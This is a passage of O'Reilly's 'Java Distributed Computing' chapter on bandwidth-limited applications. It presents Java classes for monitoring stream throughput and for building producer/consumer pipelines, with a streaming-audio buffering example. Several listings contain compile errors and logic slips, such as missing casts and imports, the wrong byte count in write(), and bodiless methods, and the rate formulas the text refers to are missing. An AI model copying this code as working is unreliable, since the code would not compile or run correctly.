Up until now, our discussions about network applications have asssumed that the reliability and capacity of the underlying network is sufficient for the task at hand. With the continued growth of wireless communications devices, as well as the ever-increasing use of multimedia content in networked applications, it's important to consider situations where this assumption is not valid--in other words, in situations where the distributed system is bandwidth-limited.

After a brief discussion of the overall topic of limited bandwidth, we'll show a framework for doing some crude bandwidth monitoring, built within the I/O stream classes in java.io. Then we'll show a general content consumer/ producer model that could be used in conjunction with the bandwidth monitoring utilities to implement adaptive buffering for data being streamed over the network.

8.1. Flavors of Limited Bandwidth

An application can be considered bandwidth-limited in two ways. First, the application can have relatively high bandwidth requirements (compared to average applications) that the communications scheme can't fully support. An application falls into this category when the required rate of data flow is very close to the capacity of the network connection. Streaming high-quality video for real-time playback is one such application--a constant, high-throughput, reliable network connection is necessary to support distributed video.

Bandwidth is also limited when the network connection has relatively low or unreliable capacity (compared to average network connections), and is insufficient for many data transactions. Current telephone modem throughput rates, for example, are insufficient to support downloading high-quality multimedia in real time. Many wireless communications schemes can be unreliable to the point that their effective throughput is much lower than their peak throughput, and a bandwidth-limited situation occurs.

In either case, the data requirements of the application exceed the available bandwidth, so measures must be taken to handle this situation without degrading our application's behavior unacceptably.

Previous | Home | Next
7.3. Multi-Database Applications | Book Index | 8.2. Coping with Limited Bandwidth
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Coping with Limited Bandwidth (Java Distributed Computing)

 Java Distributed Computing Search this book

8.2. Coping with Limited Bandwidth

If our distributed application is bandwidth-limited in one of these ways, then our system needs to have a way to monitor our data feeds, and manage the bandwidth usage of the system. Monitoring data throughput is a way to detect changes in the runtime environment of the system, and managing bandwidth is a way to react to these changes. It's not sufficient to say "what you get is what you get"; we need to find out what bandwidth is available and optimize the way we use it.

8.2.1. Monitoring Bandwidth

You typically need to monitor the data flowing in and out of a local agent in terms of both raw and real data throughput. Raw data is fed into and out of the system at the socket or stream level. Below this level, the data is handled on the network, using the appropriate protocol. Raw data transmitted over the network may be compressed or otherwise encoded, and may require decoding before being usable as "real" data. A bandwidth-limited system needs to be capable of monitoring raw data throughput in order to respond to network variability (bandwidth fluctuations, loss of service, etc.). It must also monitor real data throughput in order to pick up on major fluctuations in its net bandwidth usage and local resources like CPU availability, while maintaining a certain performance level. How to measure performance depends on the application, but will typically be a function of responsiveness, relative rate of data delivery to the user, etc.

8.2.2. Managing Bandwidth

With bandwidth monitoring in place, a system can start managing its network resources in order to satisfy the application's requirements. A multimedia presentation with an audio track typically wants to ensure that the real input rate of audio samples into the local audio device is always greater than or equal to the playback rate, in order to avoid interruptions. An interactive chat client may want to balance input and output rates so that a user typing a response can see another chat user's response if they are sending a response at the same time.

In addition to managing bandwidth and local resources to support the type of data being processed, it is also possible to manage the nature of the data itself in order to match the bandwidth and local resource profile. When designing the distributed system, for example, the encoding format of the transmitted data should be chosen carefully to match both the expected bandwidth and local resource capabilities. Choosing data encoding schemes for limited bandwidth applications often involves a trade-off between these two resource types. If we strictly optimize for bandwidth, then we will use the encoding scheme that offers the best compression ratio (for low-bandwidth situations), or the most robustness in terms of lost data (for lossy network situations), or an effective combination when the network is both low in bandwidth and lossy. However, highly compressed data typically requires more CPU resources to encode and decode, especially if these operations have to occur in real time. If the application needs to run on hosts with limited CPU speed, you must also take the processing requirements into account when choosing an encoding scheme.

8.2.3. Levels of Monitoring and Management

Several network-level protocols that support monitoring and managing real-time data transmission have been proposed and are in use in various capacities. Perhaps the most widely accepted protocol suite is the Real-Time Protocol (RTP) and the Real-Time Control Protocol (RTCP), which is currently an IETF draft standard. RTP provides a protocol layered on top of a baseline network transport layer like TCP, with header information capable of providing data timing and ordering statistics. RTCP is meant to provide basic bandwidth management functions for RTP applications. Major vendors like Microsoft and Netscape have announced support for RTP and RTCP in various umbrella protocols, but an interface to RTP and RTCP has not yet been offered for the Java environment.[1]

[1]Support for RTP is promised in the Java Media Framework, currently in beta test.

At the application level, distributed systems can monitor the arrival and departure times of data transmitted over InputStreams and OutputStreams, and use these measurements to estimate the raw throughput rate they are achieving. Real data throughput rates can also be estimated by putting timestamps on data before encoding or after decoding. These measurements can then be used to make runtime decisions about resource allocation.

Previous | Home | Next
8.1. Flavors of Limited Bandwidth | Book Index | 8.3. Scope of This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Scope of This Chapter (Java Distributed Computing)

 Java Distributed Computing Search this book

8.3. Scope of This Chapter

In this chapter, we will explore approaches to monitoring and managing bandwidth resources at the application level in the Java environment. We will not delve into the ins and outs of real-time network protocols, nor will we touch on the use of native code modules in bandwidth-limited systems (e.g., native data decoders to improve CPU utilization). We will also avoid going into detail on data compression schemes and their trade-offs, other than to reinforce the notion that trade-offs do exist, and to point out where compression schemes play a role in the design of a bandwidth-limited system.

Previous | Home | Next
8.2. Coping with Limited Bandwidth | Book Index | 8.4. Monitoring Bandwidth
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Monitoring Bandwidth (Java Distributed Computing)

 Java Distributed Computing Search this book

8.4. Monitoring Bandwidth

The ability to monitor the effective bandwidth previously seen by an application directly supports the ability to adapt to variable runtime environments. Some bandwidth measures that may be valuable to an adaptive distributed system are:

  • Average data throughput rate over a given time period

  • Total data throughput over a given time period

  • Estimate of time until a given amount of data will be available

  • Other first- and second-order statistics on data rate and throughput over time (variances, median rate, data "acceleration," or change in throughput rate, etc.).

Ideally, we would like to capture these bandwidth measures in real time, or as close to real time as we can get, and we would like to have these measures in terms of both raw (unprocessed) data throughput and real (application) data throughput.

The DataMonitor class shown in Example 8-1 provides a container for holding byte counts of data (either inbound or outbound), along with corresponding start and stop times. The start and stop times log the time interval for the data transaction. The DataMonitor provides an addSample() method for adding bandwidth measurement samples. Each of these samples is interpreted as being the number of bytes processed since the last sample, and the time interval during which the data was processed. Once a number of samples have been collected by the DataMonitor, it can be queried for statistics about the historical data rate. In this example we only show three methods offering basic measurements of data throughput: one provides the average data rate for all samples stored in the monitor (getAverageRate()), another provides the data rate for any given sample stored in the monitor (getRateFor()), and the third returns the data rate for the last sample stored (getLastRate()).

Example 8-1. A Data Monitoring Class

package dcj.util.Bandwidth;

import java.util.Vector;
import java.util.Date;
import java.util.Enumeration;

class DataSample {
  long byteCount;
  Date start;
  Date end;

  DataSample(long bc, Date ts, Date tf) {
    byteCount = bc;
    start = ts;
    end = tf;
  }
}

public class DataMonitor {
  protected Vector samples;
  protected Date epoch;

  public DataMonitor() {
    samples = new Vector();
    epoch = new Date();
  }

  // Add a sample with a start and finish time.
  public void addSample(long bcount, Date ts, Date tf) {
    samples.addElement(new DataSample(bcount, ts, tf));
  }

  // Get the data rate of a given sample.
  public float getRateFor(int sidx) {
    float rate = 0.0;
    int scnt = samples.size();
    if (scnt > sidx && sidx >= 0) {
      DataSample s = samples.elementAt(sidx);
      Date start = s.start;
      Date end = s.end;
      if (start == null && sidx >= 1) {
        DataSample prev = samples.elementAt(sidx - 1);
        start = prev.end;
      }

      if (start != null && end != null) {
        long msec = end.getTime() - start.getTime();
        rate = 1000 * (float)s.byteCount / (float)msec;
      }
    }

    return rate;
  }

  // Get the rate of the last sample
  public float getLastRate() {
    int scnt = samples.size();
    return getRateFor(scnt - 1);
  }

  // Get the average rate over all samples.
  public float getAverageRate() {
    long msCount = 0;
    long byteCount = 0;
    Date start;
    Date finish;
    int scnt = samples.size();
    for (int i = 0; i < scnt; i++) {
      DataSample ds = (DataSample)samples.elementAt(i);

      if (ds.start != null)
        start = ds.start;
      else if (i > 0) {
        DataSample prev = (DataSample)samples.elementAt(i-1);
        start = ds.end;
      }
      else
        start = epoch;

      if (ds.end != null)
        finish = ds.end;
      else if (i < scnt - 1) {
        DataSample next = (DataSample)samples.elementAt(i+1);
        finish = ds.start;
      }
      else
        finish = new Date();

      // Only include this sample if we could figure out a start
      // and finish time for it.
      if (start != null && finish != null) {
        byteCount += ds.byteCount;
        msCount += finish.getTime() - start.getTime();
      }
    }

    float rate = -1;
    if (msCount > 0) {
      rate = 1000 * (float)byteCount / (float)msCount;
    }

    return rate;
  }
}

8.4.1. Raw Data Monitoring

Logically, in order to monitor the raw data throughput of our local agent, we need to put a "bytemeter" on the input and output streams used to transmit data. The RTInputStream and RTOutputStream classes shown in Examples Example 8-2 and Example 8-3 are extensions of FilterInputStream and FilterOutputStream that monitor their own data rates using the DataMonitor class. After each read() and write() operation, a data point is stored in the stream's DataMonitor. During the course of a transaction, the agent can query the stream for statistics on its throughput over time.

Example 8-2. A Self-Monitoring Input Stream

package dcj.util.Bandwidth;

import java.io.InputStream;
import java.io.FilterInputStream;
import java.util.Date;
import java.io.IOException;

public class RTInputStream extends FilterInputStream {
  DataMonitor monitor;

  RTInputStream(InputStream in) {
    super(in);
    monitor = new DataMonitor();
  }

  public int read() throws IOException {
    Date start = new Date();
    int b = super.read();
    monitor.addSample(1, start, new Date());
    return b;
  }

  public int read(byte data[]) throws IOException {
    Date start = new Date();
    int cnt = super.read(data);
    monitor.addSample(cnt, start, new Date());
    return cnt;
  }

  public int read(byte data[], int off, int len)
    throws IOException {
    Date start = new Date();
    int cnt = super.read(data, off, len);
    monitor.addSample(cnt, start, new Date());
    return cnt;
  }

  public float averageRate() {
    return monitor.getAverageRate();
  }

  public float lastRate() {
    return monitor.getLastRate();
  }
}

Example 8-3. A Self-Monitoring Output Stream

package dcj.util.Bandwidth;

import java.io.OutputStream;
import java.io.FilterOutputStream;
import java.util.Date;
import java.io.IOException;

public class RTOutputStream extends FilterOutputStream {
  DataMonitor monitor;

  RTOutputStream(OutputStream out) {
    super(out);
    monitor = new DataMonitor();
  }

  public void write(int b) throws IOException {
    Date start = new Date();
    super.write(b);
    monitor.addSample(1, start, new Date());
  }

  public void write(byte data[]) throws IOException {
    Date start = new Date();
    super.write(data);
    monitor.addSample(data.length, start, new Date());
  }

  public void write(byte data[], int off, int len)
    throws IOException {
    Date start = new Date();
    super.write(data, off, len);
    monitor.addSample(data.length, start, new Date());
  }

  public float averageRate() {
    return monitor.getAverageRate();
  }

  public float lastRate() {
    return monitor.getLastRate();
  }
}

One problem with monitoring resource usage is that measuring resources affects the measurements themselves (along the lines of the Hiesenberg Uncertainty Principle). In our case, adding more operations for gathering measurements of data rates can affect the rate that we send and receive data. In our RTInputStream, for example, we've added three operations to the read() method from FilterInputStream:

public int read() throws IOException {
    Date start = new Date();
    int b = super.read();
    monitor.addSample(1, start, new Date());
    return b;
}

Suppose we are streaming an audio file from a server for local, real-time playback. If we assume that data I/O, decoding, and writing to the local audio device are all done from a single thread, then the flow of control over time is fairly simple: some data is read in, which takes a finite amount of time. This data is decoded and converted to a format suitable for our audio device. Then the audio data is written to the audio device, and more data is read in to start the cycle over again. In this case, the effective raw data input rate for the system over one read/decode/write cycle is the total amount of data read (dT), divided by the sum of the times for the reading (tr), decoding (td) and writing (tw) of the data:

Now suppose we use the RTInputStream to monitor the raw data rate that we see from the server in order to react to overflow or underflow of our buffers. Each read() operation now carries the additional overhead of registering a data sample with the DataMonitor on the RTInputStream (tc). So our net data rate is modified by the addition of this term:

Ideally, the time to register a measurement is negligible compared to the time allocated to reading, decoding, and writing data, so that the effect of measuring on the data rate is minimized. One way to accomplish this is to read and process large amounts of data in each cycle (take relatively few data rate measurements). This hinders our ability to track data rate variations over time, relying instead on rate averages over significant stretches of time. The opposite approach is to ignore the effect of data monitoring, and read very small packets of data in each cycle, resulting in many rate measurements over time. This will cause a larger negative impact on the data rate itself. The art of effective data throughput monitoring lies in achieving a good compromise between these two positions: gather enough information to make reasonable judgements about the state of our bandwidth resources, but limit the information collection process so that the impact on the data rate is bearable.

8.4.2. Real Data Monitoring

A measurement of the raw data throughput our local agent is seeing only tells us how well we are pushing or pulling data at the network level. It doesn't tell us anything about whether our local data processing is keeping up with the network requirements of the system. For example, we may be pulling encoded audio data from the network fast enough, but if decoding that data takes longer than expected, then the playback quality may suffer from skips and silent gaps as our local buffers for holding raw data overflow, or our buffers for holding decoded data underflow. To detect and react to these situations, we need to be able to monitor real data throughput: the rate at which we are processing data from its format on the network to a format suitable for the local application, and vice versa.

With a basic data monitoring facility in place, such as our DataMonitor class, we can construct an infrastructure for monitoring the production and consumption of real application data. Data flowing into an agent from the network is generally filtered in some way before being displayed, saved, or otherwise used locally. Similarly, local data is typically filtered before being sent out on the network to another agent. These filters may compress, modify, or subdivide the data passed through them, for example. We can think of these filters as content producers, consumers, or both, depending on our perspective and their roles in the local agent. These producers and consumers are data processors that are wrapped around data input and output streams.

One way to construct this infrastructure is to develop basic interfaces for these content consumers and producers, which include the ability to monitor the rate at which data is consumed or produced. Example 8-4 shows a ContentConsumer class and Example 8-5 shows a ContentProducer class that demonstrates this idea. A ContentConsumer accepts data and consumes it, which can mean various things depending on the circumstances. A consumer may display data on the screen, store data in a database or file, or it may feed some kind of analysis engine. A ContentProducer generates data (perhaps by asking a user for manual input) by pulling data from persistent storage, or as a product of some processing by another producer. Both classes contain a source that is a ContentProducer, and a destination that is a ContentConsumer. This allows for chaining consumers and producers together to form data processing pipelines. The source of a ContentConsumer is the ContentProducer that is feeding it data, and its destination is the next consumer in the pipeline. The source of a ContentProducer is the previous producer in the pipeline, and its destination is a consumer to which it can feed data.

Example 8-4. A Content Consumer Class

package dcj.util.Bandwidth;

import java.io.InputStream;
import java.io.OutputStream;

public class ContentConsumer
{
  protected ContentProducer source = null;
  protected ContentConsumer dest = null;
  protected DataMonitor     monitor = new DataMonitor();

  public ContentConsumer(ContentProducer src) {
    source = src;
  }

  public ContentConsumer(ContentConsumer dst) {
    dest = dst;
  }

  public void setSource(ContentProducer p) {
    source = p;
  }

  public void setDest(ContentConsumer c) {
    dest = c;
  }

  // Consume data from our producer until it is exhausted.
  public boolean consumeAll() {
    boolean success = false;
    if (source != null) {
      byte[] data = source.produce(0);
      while (data != null) {
        success = consume(data);
        data = source.produce(0);
      }
    }

    return success;
  }

  // Consume a chunk of data
  public boolean consume(byte[] data) {
    // Log the start of the consumption cycle
    Date start = new Date();

    boolean success;
    success = preConsume(data);
    if (success)
      success = doConsume(data);
    if (success)
      success = postConsume(data);

    // Mark the end of our consumption cycle
    monitor.addSample(data.length, start, new Date());

    // Pass the data on to the next consumer in the chain,
    // if present.
    if (dest != null) {
      dest.consume(data);
    }

    return success;
  }

  protected boolean preConsume(byte[] data) {
    return true;
  }

  // Default consumption procedure.
  protected boolean doConsume(byte[] data) {
    return true;
  }

  // Default post-consumption procedure: log the data consumption
  // size and finish time with our monitor.
  protected boolean postConsume(byte[] data) {
    return true;
  }
}

Example 8-5. A Content Producer Class

package dcj.util.Bandwidth;

import java.io.InputStream;
import java.io.OutputStream;

public class ContentProducer
{
  protected ContentProducer source = null;
  protected ContentConsumer dest = null;
  protected DataMonitor     monitor = new DataMonitor();

  public ContentProducer(ContentProducer src) {
    source = src;
  }

  public ContentProducer(ContentConsumer dst) {
    dest = dst;
  }

  public void setSource(ContentProducer p) {
    source = p;
  }

  public void setDest(ContentConsumer c) {
    dest = c;
  }

  // Produce data and pass it to our destination, if present.
  public boolean produceAll() {
    boolean success = false;
    if (dest != null) {
      byte[] data = produce();
      while (data != null) {
        success = dest.consume(data);
        if (success)
          data = produce();
        else
          data = null;
      }
    }

    return success;
  }

  // Produce a chunk of data, within the given limit.
  public byte[] produce(long limit) {
    // Record the start time.
    Date start = new Date();

    boolean success;
    byte[] data = null;
    success = preProduction(limit);
    if (success)
      data = doProduction(limit);
    if (success && data != null)
      success = postProduction(data, limit);

    // Record the data sample in our monitor.
    monitor.addSample(data.length, start, new Date());

    // Pass the data on to our destination, if present
    if (data != null && dest != null)
      dest.consume(data);

    return data;
  }

  // Default preconsumption procedure.
  protected boolean preProduction(long limit) {
    return true;
  }

  // Default production procedure: ask for data from our source,
  // if present, and pass along unmodified (e.g., a no-op).
  protected byte[] doProduction(long limit) {
    byte[] data = null;
    if (source != null) {
      data = source.produce(limit);
    }

    return data;
  }

  // Default postconsumption procedure.
  protected boolean postProduction(byte[] data, long limit) {
    return true;
  }
}

The ContentConsumer has consume() and consumeAll() methods. The consumeAll() method accepts no arguments, and its default implementation consumes data from its producer until it is exhausted. The consume() method accepts a data buffer in the form of a byte array, and consumes the data by calling its preConsume(), doConsume(), and postConsume() methods. The default implementation of the preConsume() method does nothing, but can be overridden in subclasses to prepare for the consumption process (e.g., open the database connection, connect to the display device, etc.). The default doConsume() method simply writes the data to the next consumer in the chain, if present, but could be overridden to store data in a database, draw data to a display device, etc. The default postConsume() method also does nothing, but can be overridden to clean up after the data is consumed (e.g., close the database connection, disconnect from the display device, etc.). In addition to calling these methods, the consume() method also creates a data sample for the Data-Monitor associated with the consumer. The start of the consume() method is noted, the consumption methods are called in order, the finish time is noted, and the sample is given to the DataMonitor for recording.

A ContentProducer has produce() and produceAll() methods that are analogous to the consume() and consumeAll() methods on Content-Consumer. The produceAll() method produces data and passes it to the destination consumer, if present, until the producer is exhausted. The produce() method generates a chunk of data by calling the preProduction(), doProduction(), and postProduction() methods. The default preProduction() and postProduction() methods do nothing, and the default doProduction() method simply requests a data chunk from the previous producer in the chain, if present.

Using these classes, we can construct both consumption pipelines and production pipelines that monitor their data throughput. For example, we can create a consumption pipeline that sends an input data stream to replicated databases on the network:

ContentProducer input = new MyProducer(host, port);
ContentConsumer dbase1 =
    new RDBMSConsumer("jdbc:odbc://dbhost/mydata");
input.setDest(dbase1);
ContentConsumer dbase2 = ...;
dbase1.setDest(dbase2);
    ...
input.produceAll();

Once the replication process is finished, we can ask each consumer for its estimated average bandwidth to get a feel for the quality of our connection to each database. We could also monitor the bandwidth levels during the replication process if we wanted to try to optimize the process, perhaps by dropping off databases with unreasonably slow connections.

We can also create production pipelines. For example, we could generate a graphics pipeline where image data from a file is sequentially modified with various effects to produce a finished image that is displayed on the screen:

ContentProducer source = new FileProducer("source.jpg");
ContentProducer effect1 = new BlurEffect();
effect1.setSource(source);
ContentProducer effect2 = new GrainEffect();
effect2.setSource(effect1);
ContentConsumer display = new ScreenConsumer();
display.setSource(effect2);

display.consumeAll();

We can also monitor both raw and real data rates if we want to compare the two. Suppose we feed our image processing pipeline with an image read from an InputStream; we can wrap the input stream with an RTInputStream to monitor the rate of the "raw" image data flowing into the pipeline:

InputStream imgStream = ...;
RTInputStream rtStream = new RTInputStream(imgStream);
ContentProducer source = new StreamProducer(rtStream);
    ...

During or after the image processing, we can monitor the estimated rate of raw image input, or the rate of processed data production at any point in the pipeline.

Creating explicit representations of content consumers and producers is necessary only because we are discussing environments in which bandwidth is the limiting factor. Applications that deal with data in any way (which all applications do) can be broken down logically into data consumers and producers, and many of the objects that are defined to implement a system can be thought of as producers or consumers of data, or both. For example, in our scheduling database system from Chapter 7, "Databases" we could consider the SchedResource class as both a producer and consumer of data, since it both delivered data from the schedule database to the local agent and delivered data from the local agent to the database when the parameters of the resource object were updated. It is only our need to monitor the flow of data that makes it valuable for us to represent our data flow with producer and consumer classes.

Previous | Home | Next
8.3. Scope of This Chapter | Book Index | 8.5. Bandwidth Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bandwidth Management (Java Distributed Computing)

 Java Distributed Computing Search this book

8.5. Bandwidth Management

Armed with a basic ability to monitor our data throughput over time, we can now discuss how to use this information to effectively manage the available bandwidth.

The general principle behind bandwidth management is to optimize the use of the available bandwidth to satisfy certain requirements of the system. The nature of these requirements varies greatly from one application to the next, and so do the approaches used to manage bandwidth. The general approach is to assess the performance of the system in terms of data input and output rates, content conversion rates, and computation times. Based on this assessment, we can try to adjust resource allocations to improve the overall performance of the system.

In order to demonstrate some of the ways that bandwidth can be managed, we'll first look at how a streaming audio agent would be implemented. In many ways, streaming audio is a worst-case scenario for bandwidth-limited applications, since there are heavy real-time constraints as well as computation requirements. After this, we will look at implementing a component of a Java-based WWW browser, to see how bandwidth can be managed across multiple input streams to maximize perceived performance.

8.5.1. Streaming Multimedia

In this case, the primary purpose of the local agent is to receive multimedia data from the network, process it as needed to convert it to a format suitable for presentation, and present the multimedia data to the user. The driving factor is optimizing the presentation to the user. We want audio to play without skips, video to play as smoothly and consistently as possible, and graphics to display when they are supposed to in the overall presentation. Typically, we also need the audio, video, and graphics display to be synchronized with each other, and to maintain that synchronization even if some data is late arriving.

In order to focus on the basic issues at play here, let's look at the simplest case: a single stream of media data being received in a low-bandwidth environment for real-time playback. This is a particularly relevant example, since modem-rate audio streaming has become so popular on the Web. The audio samples are typically compressed before being transmitted, so the audio receiver must decode the compressed data into audio samples before playing them on the local audio device. Using our ContentConsumer and ContentProducer classes, we can define a StreamProducer extension of ContentProducer that simply provides a ContentProducer interface to an InputStream. In our application, this StreamProducer acts as a source of compressed audio data. The AudioProducer is a ContentProducer extension that generates audio samples from compressed audio data by decoding the compressed data. We set its source to be the StreamProducer that we just wrapped around our RTInputStream. Finally, we define an AudioConsumer extension of Content-Consumer that consumes audio samples by sending them to the local audio device. We won't bother implementing these subclasses yet; for now we only need to note that they extend the ContentConsumer and ContentProducer interfaces.

With these classes in hand, our streaming audio playback might be implemented along the following lines:

// Get the audio input stream, typically from a Socket connection with
// a server.
InputStream audioIn = ...
// Wrap it with a real-time stream so we can monitor data throughput
// off of the wire
RTInputStream rtAudioIn = new RTInputStream(audioIn);
// Make our audio pipeline:
//         compressed audio -> raw audio -> audio device
StreamProducer stProd = new StreamProducer(rtAudioIn);
AudioProducer audioProd = new AudioProducer();
audioProd.setSource(stProd);
String audioFileSpec = "/dev/audio";
AudioConsumer audioCons = new AudioConsumer(audioFileSpec);
audioCons.setSource(audioProd);
// Start playback
audioCons.consumeAll();

Here we simply take our source of raw data, in the form of an InputStream, wrap it with an RTInputStream to allow us to monitor the input data rate, then wrap it with a StreamProducer so that we can build up the rest of the pipeline. We create an AudioProducer and set the StreamProducer as its source, then create an AudioConsumer pointing to an appropriate local device driver and set the AudioProducer as its source. To begin the streaming playback, we simply call the consumeAll() method on the AudioConsumer, which causes it to call the produce() method on its source, and so on up the pipeline until the StreamProducer does a read on its InputStream. All along the pipeline, we are maintaining data throughput measurements using the facilities built into our RTInputStream, ContentConsumer, and ContentProducer classes.

The input stream is something that we have little control over, so we can do little at that stage of our pipeline besides monitoring the input data rate using the RTInputStream. There are some data buffering issues that we have to deal with in the other stages, however. Let's start with the tail end of the pipeline, the AudioConsumer. Most audio devices on computers have a small internal data buffer in which to hold audio samples. Since in most cases an application can feed audio data to the device much faster than it can play the samples back in real time, our AudioConsumer needs to provide some external data buffering. For example, assuming that our audio device accepts 16-bit audio samples from an audio stream that was sampled at CD rates (e.g., 44,000 samples per second), the audio device plays back data at 44,000 x 2 = 88kB/s. Assuming a ready supply of audio data, such as a local audio file, this data rate will be well exceeded by the application feeding the audio device. So our AudioConsumer class will have to buffer audio samples when the audio device has filled its internal data buffers. Its doConsume() implementation may look something like the following:

public boolean doConsume(byte data[]) {
    // If we already have data queued in our local buffer, then
    // put this new data into the end of the queue and pull the
    // first data out of the queue
    if (!buffer.isEmpty()) {
        buffer.append(data);
        data = buffer.remove();
    }

    // Try to write the data to the audio device
    int numBytes = device.write(data);
    if (numBytes < data.length) {
        // Add any remaining bytes to the beginning of our
        // local buffer
        byte newBuf = new byte[data.length - numBytes];
        System.arraycopy(data, numBytes, newBuf, 0, newBuf.length);
        buffer.prepend(newBuf);
    }

    if (numBytes > 0)
        return true;
    else
        return false;
}

We assume that device is a data member of the AudioConsumer class that represents an interface to the audio device driver, and that buffer is another data member that is some sort of storage class for holding data arrays.

The workhorse of our audio pipeline is the AudioProducer class, and it's here that our data throughput monitoring will be the most useful. The AudioProducer must take the compressed audio data stream, decompress the data, and pass the audio samples on to the AudioConsumer. It will also have to maintain its own data buffer for compressed audio data, for the same reasons that the AudioConsumer needs to maintain its own data buffer. A given amount of compressed audio data will take some amount of time to be transmitted over the network and be fed to the AudioProducer. It also takes some non-finite amount of time for the AudioProducer to decode a chunk of compressed audio data into audio samples, and some time for the audio device to consume this data (e.g., to play the audio samples). Ideally, we want the audio playback to be continuous and free from skips or blank spots, since these are very noticeable to even the casual listener. The AudioProducer needs a data buffer so that it can maintain a constant flow of audio samples to the AudioConsumer regardless of the rates at which compressed data is fed into the producer, or audio samples are pulled out of the producer by the consumer. Our streaming audio pipeline now looks like Figure 8-1, with a compressed audio data buffer on the AudioProducer.

Figure 8-1. Streaming audio pipeline

Suppose the input stream of compressed audio starts, and we let the AudioProducer begin decompressing data and immediately pass it on to the AudioConsumer before moving on to the next chunk of compressed audio data, with no data buffering. If the AudioConsumer finishes playing the first set of audio samples before the AudioProducer is ready with the next set, then we will hear a gap in the audio playback. This can happen if the compressed data stream slows down to the point that the time to download and decode a given amount of compressed audio is greater than the time for the resulting audio samples to be played. It can also happen if the local CPU resources become scarce (i.e., the user has started an intensive spreadsheet calculation while listening to the audio clip). In this case, the additional decode time makes the AudioProducer's data production rate lag behind the AudioConsumer's consumption rate, and we hear gaps in the audio again.

So now that we've justified the need for both the AudioProducer and the AudioConsumer to have data buffers, we need to decide how much data to buffer at each stage. We'll assume that the AudioConsumer will be the simpleton in the pipeline, and that it will simply buffer any data that the audio device can't buffer itself. This allows us to concentrate on the AudioProducer as the main data manager in the pipeline.

When the AudioProducer starts reading from the input stream, it doesn't know how fast to expect the compressed data to arrive, or how long it will take to decode the compressed data into audio samples. For this reason, the AudioProducer needs to read and decode some compressed data in order to gauge the effective bandwidth of the network connection and the rate at which the producer can output audio samples to the consumer; from this information AudioProducer estimates a safe data buffer size. During playback, it also needs to check the input rate of compressed data, and its own output data rate, to see if conditions warrant a change in the buffer size. A noticeable drop in the input rate may warrant a pause in the playback while the AudioProducer fills a larger buffer so that the remainder of the audio clip can be played without interruption. The same applies when local CPU resources have become scarce because other applications are starting or becoming more active, thus slowing the rate at which the AudioProducer can decode audio samples.

A partial implementation of our AudioProducer is shown in Example 8-6. We have not included the implementation of the audio decode algorithm, and we have also left out the implementation of the buffer manipulation routines, since their intended operation is obvious from their use in the rest of the class implementation.

Example 8-6. The AudioProducer Class

package dcj.examples.Bandwidth;

import dcj.util.Bandwidth.*;
import java.io.InputStream;
import java.io.OutputStream;

public class AudioProducer extends ContentProducer
{
  byte[] buffer = null;
  long maxBuffer = 0;
  long sampleRate;

  // Buffer operations...
  protected void appendToBuffer(byte[] data);
  protected byte[] removeFromBuffer(long size);

  // Method for computing new buffer size based on input
  // data rate, our production rate, and the audio sample rate
  protected void resizeBuffer(float inRate, float outRate,
                              long audioRate);

  // Method that decodes a given chunk of compressed data into
  // audio samples.
  protected byte[] decode(byte[] cData);

  public boolean produceAll() {
    if (buffer == null) {
      int maxLoop = 10;
      long bytesPerLoop = 512;
      for (int loop = 0; loop < maxLoop; loop++) {
        byte[] data = produce(bytesPerLoop);
        appendToBuffer(data);
      }

      // Assuming we know the rate at which data is required by the
      // AudioConsumer (i.e., the sample rate of the audio), then
      // estimate the buffer size needed for continuous playback
      resizeBuffer(source.getAverageRate(), monitor.getAverageRate(),
                   sampleRate);
    }

    boolean success = false;
    if (dest != null) {
      byte[] data = produce();
      while (data != null) {
        success = dest.consume(data);

        // Re-estimate buffer size
        resizeBuffer(source.getLastRate(), monitor.getLastRate(),
                     sampleRate);
        if (success)
          data = produce();
        else
          data = null;
      }
    }

    return success;
  }

  protected byte[] doProduction(long limit) {
    byte[] sData = null;

    // Ask our source for compressed data, and decode it.
    if (source != null) {
      sData = source.produce(limit);
    }
    byte[] audioData = decode(sData);

    // If our buffer is not full, add the new data to it
    if (buffer.length < maxBuffer) {
      appendBuffer(audioData);
    }

    // If our buffer is now full, then return the requested
    // amount of data, else return nothing.
    if (buffer.length > maxBuffer) {
      audioData = removeFromBuffer(limit);
    }
    else
      audioData = null;

    return audioData;
  }
}

Our AudioProducer class extends the ContentProducer class by reimplementing the produceAll() and doProduction() methods to deal with the data buffering requirements of our application. The produceAll() implementation has the same basic structure as the implementation in the ContentProducer class, but here the method is also responsible for initializing the data buffer to a size that matches the environment it encounters when first called. The first time produceAll() is called, the data buffer has not yet been initialized, so the AudioProducer must first process some data in order to gauge the expected input and output data rates. It does this by requesting a series of data chunks from the input stream and decoding them by calling its own produce() method. In this case, we use ten chunks of compressed data of 512 bytes each to gauge the throughput, but we could use a single larger chunk of data, or many small chunks of data. The important thing is to try to match the expected interaction with the input stream and decoder as much as possible. We chose a set of medium-size chunks of data because we will be running the producer this way in full operation--get some data from the input stream, decode it, and either buffer it or hand it off to the AudioConsumer. We typically won't be asking for the entire audio clip before decoding it, since the driving requirement is that we want to stream audio data and play it back in real time. We also don't want to fragment the clip into chunks that are too small because the setup time for the decoder will start to affect the throughput rate.

When we have an initial estimate for the buffer size, the AudioProducer starts requesting data from the input stream and producing audio samples by calling its produce() method. After each produce/consume cycle, the produceAll() method recalculates the required buffer size by calling the resizeBuffer() method again. We do this to track changes in the network bandwidth and the local environment. If the input rate from the network or the output rate from the decoder drops too low, we want to increase the data buffer. If the change is dramatic, this may mean pausing the playback while the buffer fills with data; if this prevents a series of interruptions later, then it is worth it in terms of playback quality.

The doProduction() method manages the data buffer. It first requests compressed data from the input stream, then sends the data through the decoder. If the buffer is not full, then the audio samples are appended to the buffer. If the buffer is full, then the requested amount of data is pulled from the buffer and returned.

On the server side, the bandwidth monitoring and management requirements are generally simpler, but can be made as complex as we would like. The primary requirement of the audio server is to send data over the network as quickly as possible, so that the client has a chance of playing the audio back in real time. If we are sending a pre-encoded data file, we may not even need a server agent; a simple file transfer is all that's required, assuming that the file system and the network I/O on the server is optimized to send data as quickly as possible. If we're streaming a live audio feed, the server will have to encode the audio stream as it is generated and send the compressed data over the network to the client. Again, assuming that the encoding scheme and the network connection are both fixed, there is not much the server agent can do to improve the situation if the network bandwidth to the client starts to degrade.

